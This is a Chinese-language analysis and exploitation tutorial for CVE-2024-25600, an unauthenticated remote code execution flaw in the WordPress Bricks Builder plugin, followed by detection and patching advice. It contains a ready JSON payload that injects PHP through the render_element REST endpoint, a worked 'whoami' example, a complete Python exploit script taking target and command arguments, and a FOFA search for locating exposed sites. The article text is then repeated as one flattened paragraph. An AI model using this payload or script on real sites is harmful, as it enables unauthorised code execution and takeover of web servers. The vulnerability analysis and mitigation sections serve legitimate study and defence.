WordPress Bricks Builder RCE(CVE-2024-25600)分析
字数 1908 2025-08-23 18:31:18

WordPress Bricks Builder RCE漏洞(CVE-2024-25600)分析与利用教学

1. 漏洞概述

CVE-2024-25600是WordPress Bricks Builder插件中的一个严重远程代码执行(RCE)漏洞,该漏洞允许未经认证的攻击者在目标系统上执行任意PHP代码。

漏洞类型:未授权远程代码执行
CVSS评分:9.8 (Critical)
影响版本:Bricks Builder插件受影响版本(具体版本范围未明确,但2024年2月前版本均受影响)
漏洞位置includes/query.php中的prepare_query_vars_from_settings函数

2. Bricks Builder插件简介

Bricks Builder是一个WordPress页面构建插件,主要功能包括:

  • 拖放构建界面
  • 预设模块和布局
  • 响应式设计支持
  • 动画效果和过渡效果
  • 定制样式选项
  • 实时预览功能

3. 漏洞技术分析

3.1 漏洞触发链

  1. 入口点/wp-json/bricks/v1/render_element (REST API端点)
  2. 权限检查绕过:仅验证nonce值,不验证用户权限
  3. 代码执行点eval($php_query_raw) (完全用户可控)

3.2 关键代码分析

3.2.1 漏洞触发点

includes/query.php中的prepare_query_vars_from_settings函数:

$user_result = eval( $php_query_raw );

$php_query_raw完全由用户控制,通过精心构造的请求可直接传入恶意代码。

3.2.2 触发条件

需要满足以下条件才能触发漏洞:

  1. settings数组中useQueryEditor为true
  2. ObjectType为post、term或user之一
  3. queryEditor不为空
  4. element数组中id值为空
  5. hasLoop设置为true(动态数据渲染开关)

3.2.3 REST API端点

api.php中定义的端点:

register_rest_route( API_NAMESPACE, '/render_element', [
    'methods'             => 'POST',
    'callback'            => [ $this, 'render_element' ],
    'permission_callback' => [ $this, 'render_element_permissions_check' ]
] );

权限检查仅验证nonce值:

public function render_element_permissions_check( $request ) {
    return wp_verify_nonce( $request->get_param( 'nonce' ), 'bricks-nonce' );
}

3.3 漏洞利用条件

  1. 目标网站安装了Bricks Builder插件
  2. 能够获取有效的nonce值(通常在前端页面可见)
  3. 知道或猜测一个有效的postId(通常从1开始尝试)

4. 漏洞利用方法

4.1 获取nonce值

nonce值通常可以在前端页面的HTML源码中找到,搜索"bricks-nonce"。

4.2 构造恶意请求

HTTP请求方法:POST
请求路径/wp-json/bricks/v1/render_element
Content-Typeapplication/json

Payload模板

{
    "postId": "1",
    "nonce": "获取到的nonce值",
    "element": {
        "name": "container",
        "settings": {
            "hasLoop": "true",
            "query": {
                "useQueryEditor": true,
                "queryEditor": "恶意PHP代码;throw new Exception();",
                "objectType": "post"
            }
        }
    }
}

注意事项

  1. name字段可以是containersection等有效元素名称
  2. throw new Exception()用于触发错误回显,显示命令执行结果
  3. postId通常从1开始尝试,直到找到有效值

4.3 示例利用

执行whoami命令:

{
    "postId": "1",
    "nonce": "3d6020fb9a",
    "element": {
        "name": "container",
        "settings": {
            "hasLoop": "true",
            "query": {
                "useQueryEditor": true,
                "queryEditor": "system('whoami');throw new Exception();",
                "objectType": "post"
            }
        }
    }
}

4.4 自动化利用脚本

可以使用Python等语言编写自动化利用脚本:

import requests
import sys

def exploit(target_url, nonce, post_id, cmd):
    headers = {'Content-Type': 'application/json'}
    payload = {
        "postId": post_id,
        "nonce": nonce,
        "element": {
            "name": "container",
            "settings": {
                "hasLoop": "true",
                "query": {
                    "useQueryEditor": True,
                    "queryEditor": f"system('{cmd}');throw new Exception();",
                    "objectType": "post"
                }
            }
        }
    }
    
    try:
        response = requests.post(f"{target_url}/wp-json/bricks/v1/render_element", 
                               json=payload, 
                               headers=headers)
        print(response.text)
    except Exception as e:
        print(f"Exploit failed: {str(e)}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <nonce> <post_id> <command>")
        sys.exit(1)
    
    exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

5. 漏洞检测

5.1 手动检测

  1. 检查网站是否使用Bricks Builder插件:

    • 访问/wp-content/plugins/bricks/路径
    • 检查页面源码中是否包含/wp-content/themes/bricks/或类似引用
  2. 获取nonce值:

    • 查看页面源码,搜索"bricks-nonce"

5.2 自动化检测

使用FOFA等网络空间搜索引擎:

body="/wp-content/themes/bricks/"

6. 漏洞修复方案

6.1 官方修复

官方在render_element_permissions_check中增加了用户权限检查,不再仅依赖nonce验证。

6.2 临时缓解措施

  1. 禁用Bricks Builder插件
  2. 限制访问/wp-json/bricks/v1/路径
  3. 更新到最新版本的Bricks Builder插件

6.3 长期防护建议

  1. 定期更新所有WordPress插件
  2. 实施最小权限原则,限制插件权限
  3. 使用Web应用防火墙(WAF)防护此类攻击
  4. 监控可疑的REST API请求

7. 总结

CVE-2024-25600是一个典型的未授权RCE漏洞,其根本原因是:

  1. REST API端点权限检查不充分
  2. 用户输入直接传入eval()函数执行
  3. 动态数据渲染功能缺乏足够的安全控制

该漏洞再次提醒我们:

  • 永远不要信任用户输入
  • 权限检查必须全面严格
  • 避免使用eval()等危险函数
  • 插件安全审计至关重要
WordPress Bricks Builder RCE漏洞(CVE-2024-25600)分析与利用教学 1. 漏洞概述 CVE-2024-25600是WordPress Bricks Builder插件中的一个严重远程代码执行(RCE)漏洞,该漏洞允许未经认证的攻击者在目标系统上执行任意PHP代码。 漏洞类型 :未授权远程代码执行 CVSS评分 :9.8 (Critical) 影响版本 :Bricks Builder插件受影响版本(具体版本范围未明确,但2024年2月前版本均受影响) 漏洞位置 : includes/query.php 中的 prepare_query_vars_from_settings 函数 2. Bricks Builder插件简介 Bricks Builder是一个WordPress页面构建插件,主要功能包括: 拖放构建界面 预设模块和布局 响应式设计支持 动画效果和过渡效果 定制样式选项 实时预览功能 3. 漏洞技术分析 3.1 漏洞触发链 入口点 : /wp-json/bricks/v1/render_element (REST API端点) 权限检查绕过 :仅验证nonce值,不验证用户权限 代码执行点 : eval($php_query_raw) (完全用户可控) 3.2 关键代码分析 3.2.1 漏洞触发点 includes/query.php 中的 prepare_query_vars_from_settings 函数: $php_query_raw 完全由用户控制,通过精心构造的请求可直接传入恶意代码。 3.2.2 触发条件 需要满足以下条件才能触发漏洞: settings 数组中 useQueryEditor 为true ObjectType 为post、term或user之一 queryEditor 不为空 element 数组中 id 值为空 hasLoop 设置为true(动态数据渲染开关) 3.2.3 REST API端点 api.php 中定义的端点: 权限检查仅验证nonce值: 3.3 漏洞利用条件 目标网站安装了Bricks Builder插件 能够获取有效的nonce值(通常在前端页面可见) 知道或猜测一个有效的postId(通常从1开始尝试) 4. 漏洞利用方法 4.1 获取nonce值 nonce值通常可以在前端页面的HTML源码中找到,搜索"bricks-nonce"。 4.2 构造恶意请求 HTTP请求方法 :POST 请求路径 : /wp-json/bricks/v1/render_element Content-Type : application/json Payload模板 : 注意事项 : name 字段可以是 container 或 section 等有效元素名称 throw new Exception() 用于触发错误回显,显示命令执行结果 postId 通常从1开始尝试,直到找到有效值 4.3 示例利用 执行 whoami 命令: 4.4 自动化利用脚本 可以使用Python等语言编写自动化利用脚本: 5. 漏洞检测 5.1 手动检测 检查网站是否使用Bricks Builder插件: 访问 /wp-content/plugins/bricks/ 路径 检查页面源码中是否包含 /wp-content/themes/bricks/ 或类似引用 获取nonce值: 查看页面源码,搜索"bricks-nonce" 5.2 自动化检测 使用FOFA等网络空间搜索引擎: 6. 漏洞修复方案 6.1 官方修复 官方在 render_element_permissions_check 中增加了用户权限检查,不再仅依赖nonce验证。 6.2 临时缓解措施 禁用Bricks Builder插件 限制访问 /wp-json/bricks/v1/ 路径 更新到最新版本的Bricks Builder插件 6.3 长期防护建议 定期更新所有WordPress插件 实施最小权限原则,限制插件权限 使用Web应用防火墙(WAF)防护此类攻击 监控可疑的REST API请求 7. 总结 CVE-2024-25600是一个典型的未授权RCE漏洞,其根本原因是: REST API端点权限检查不充分 用户输入直接传入eval()函数执行 动态数据渲染功能缺乏足够的安全控制 该漏洞再次提醒我们: 永远不要信任用户输入 权限检查必须全面严格 避免使用eval()等危险函数 插件安全审计至关重要